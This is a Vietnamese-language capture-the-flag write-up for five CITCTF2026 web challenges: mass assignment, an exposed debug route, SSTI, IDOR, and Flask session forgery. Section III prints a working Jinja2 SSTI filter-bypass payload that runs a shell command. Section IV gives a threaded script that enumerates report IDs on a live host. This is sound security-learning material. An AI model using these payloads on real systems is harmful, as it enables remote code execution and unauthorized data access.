Writeup Giải CITCTF2026
I. A Massive Problem
Mô tả: Improper Authorization has been fixed! I think we are ready for production!
Tìm kiếm trong source code thì thấy flag nằm tại /admin và chỉ role admin mới có thẻ truy cập
Tuy nhiên trong đoạn code đăng nhập trên có phần role được cố định là standard. Ngoài ra trong giao diện đăng nhập cũng không có ô input để chúng ta có thể nhập role cho user
Sau khi tạo tài khoản và đăng nhập thì ta nhận được giao diện như bên dưới, như đã đề cập ở trên thì role được cố định là standard
Nhấn vào mục profile thì giao diện cho phép cập nhật thông tin cá nhân, nhưng không cho phép cập nhật role
Kiểm tra source code thì thấy có phần role có thể được cập nhật dù không hiển thị trong giao diện web. Nên ý tưởng để giải bài này là cập nhật role thành admin bằng cách sửa request gửi lên server
Bắt request cập nhật profile và thêm trường “role”:”admin” để cập nhật role của user. Sau khi gửi request ta nhận được response thành công như bên dưới. Chỉ cần đăng nhập lại để xem role của user đã được cập nhật thành admin hay chưa
Sau khi đăng nhập lại ta thấy role của user đã được cập nhật thành admin và có thêm một mục “Admin Panel” trong sidebar
Truy cập vào admin panel và ta sẽ nhận được flag
Flag: CIT{M@ss_@ssignm3nt_Pr1v3sc}
II. Debug Disaster
Mô tả: IDeveloping this application is tough, and I needed debug mode to be enabled… but I’m nervous I forgot to turn it off in production. I also think I may have forgot to remove something from the application structure.
Khi truy cập vào đường dẫn ta chỉ nhận được một giao diện đơn giản như sau. Ngoài ra không có gì đặc biệt khi Ctrl + U để xem source code.
Sử dụng gobuster để quét thì xuất hiện đường dẫn /admin
Truy cập đường dẫn /admin thì ta nhận được giao diện như sau
Mở rộng mục lỗi trong phần file app/app.py thì lộ route chứa flag đó là /flg_bar
Truy cập đường dẫn /flg_bar thì ta nhận được flag
Flag: CIT{H1dd3n_D1r5_3v3rywh3r3}
III. Temporary Destruction
Mô tả: I hear something…..
Truy cập đường dẫn của chall ta nhận được một giao diện cho chúng ta nhập input vào như sau:
Kiểm tra source code thì thấy có đoạn code liên quan đến render template. Ta nghĩ ngay đến việc có thể bị tấn công SSTI. Tuy nhiên có một số filter chặn các ký tự đặc biệt trong câu lệnh BLOCKED.search(raw_input)
Phần filter ở đây được khai báo là r’\w+’. Điều này có nghĩa là nó sẽ chặn các ký tự đặc biệt trong câu lệnh BLOCKED.search(raw_input). ngăn chúng ta gọi đến các hàm có __ ở đầu và cuối. Tuy nhiên filter này khá là lỏng lẻo và có thể bypass một cách dễ dàng.
Truy cập vào mục SSTI trong PayloadAllTheThings để tìm hiểu thêm về cách bypass filter này. Thì ta nhận được cách để bypass filter này đó là sử dụng cách bypass tương tụ như đoạn payload sau: ``. Ý tưởng của cách bypass này là sử dụng attr để gọi đến các hàm có __ ở đầu và cuối. và bypass filter bằng cách sử dụng join 2 dấu _ thay vì gọi đến chúng trực tiếp.
Dựa trên ý tưởng trên ta láp ghép và tạo được payload để đọc flag như sau (Đường dẫn chứa flag /tmp/flag.txt đã được đề cập trong source code) :
1
{{request|attr(['_'*2,'class','_'*2]|join)|attr(['_'*2,'mro','_'*2]|join)|attr(['_'*2,'getitem','_'*2]|join)(3)|attr(['_'*2,'subclasses','_'*2]|join)()|attr(['_'*2,'getitem','_'*2]|join)(494)('cat /tmp/flag.txt',shell=True,stdout=-1)|attr(['communicate']|join)()|attr(['_'*2,'getitem','_'*2]|join)(0)|attr(['decode']|join)('utf-8')}}
Flag: CIT{55T1_R3m0t3_C0d3_3x3cut1on}
IV. Intern Portal
Mô tả: The intern said they made a custom report application… but I don’t think security was in mind.
Truy cập vào đường dẫn của chall ta nhận được một giao diện như sau: 
Tạo tài khoản và đăng nhập thì ta nhận được giao diện cho tạo report như sau: 
Thử một số payload XSS thì ta nhận được kết quả như sau, nhận thấy hướng khai thác theo XSS có vẻ là không khả thi.
Thử thay đổi id trong url thành 1 thì ta nhận được kết quả như sau, nhận thấy có thể bị tấn công IDOR.
Dựa trên những phản hồi nhận được thì ta viết một script đơn giản để quét id bài viết chứa flag như bên dưới:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading
url = "http://23.179.17.92:5001"
Cookies = { "session": "eyJ1c2VyX2lkIjozMTA0fQ.aeRdlQ.mWe0gm0-yYF96ZJqShwutcIb7sw" }
def test_id(id):
full_url = url + "/report?id={id}".format(id=id)
rsp = requests.get(url=full_url, cookies=Cookies)
if "Fake" in rsp.text:
pass
elif rsp.status_code == 404:
pass
elif "CIT{" in rsp.text:
print(rsp.text)
threads = []
for i in range(0, 10000):
t = threading.Thread(target=test_id, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
Sau khi chạy script thì ta nhận được id của bài viết chứa flag là 347. Ta gửi lại request với id = 347 thì nhận được flag như sau:
Flag: CIT{Acc355_C0ntr0l_M@tt3rs!}
V. Sign Up and Enjoy
Mô tả: I’m confused, what does this application do exactly?
Truy cập vào đường dẫn của chall ta nhận được một giao diện như sau: 
Tạo tài khoản và đăng nhập để đăng nhập:
Sau khi tạo tài khoản và đăng nhập thì ta nhận được giao diện trang chủ như sau:
Trên giao diện trang chủ ta thấy có mục Open Link Preview ,truy cập vào mục đó thì có giao diện cho phép ta nhập url và xem trước nội dung của url đó. Tuy nhiên dù ta nhập Url như thế nào thì cũng chỉ nhận được cùng 1 phản hồi giống nhau:
Kiểm tra source code của trang web thì ta thấy có đoạn code sau, nhận thấy thực chất thì giao diện nhập URL và phản hồi chỉ là một logic đơn giản để đánh lừa chúng ta:
Sau khi loay hoay một thời gian không tìm kiếm thêm được manh mối nào mới nên thử sử dụng gobuster để tìm kiếm các đường dẫn ẩn thì ta nhận được kết quả như sau, gobuster tìm thấy đường dẫn admin:
Truy cập vào đường dẫn admin thì ta nhận được phản hồi You do not have access to that area trên giao diện:
Quay trở lại burpsuite quan sát phản hồi khi chúng ta truy cập đường dẫn admin thì ta nhận được request và response như sau:
Phân tích cookie thấy có role là standard và server của trang web là Werkzeug nên ta đoán rằng cookie được mã hóa bằng Flask Session Cookie
Sau khi google trong một khoảng thời gian thì ta tìm được phương pháp để crack cookie này là dùng flash-unsign để brute-force key thông qua bài viết: https://angelica.gitbook.io/hacktricks/network-services-pentesting/pentesting-web/flask
Brute force key dùng để kí cookie thì ta nhận được secret key đó là Password1!
Dùng secret key vừa tìm được để kí cookie do chúng ta kiểm soát vào role là admin
Thêm cookie đã kí vào trình duyệt
Reload lại page thì hiển thị giao diện admin panel, truy cập panel trên thì ta nhận được flag:
Flag: CIT{W3ak_S3cr3t5_C@n_B3_Un5ign3d}

































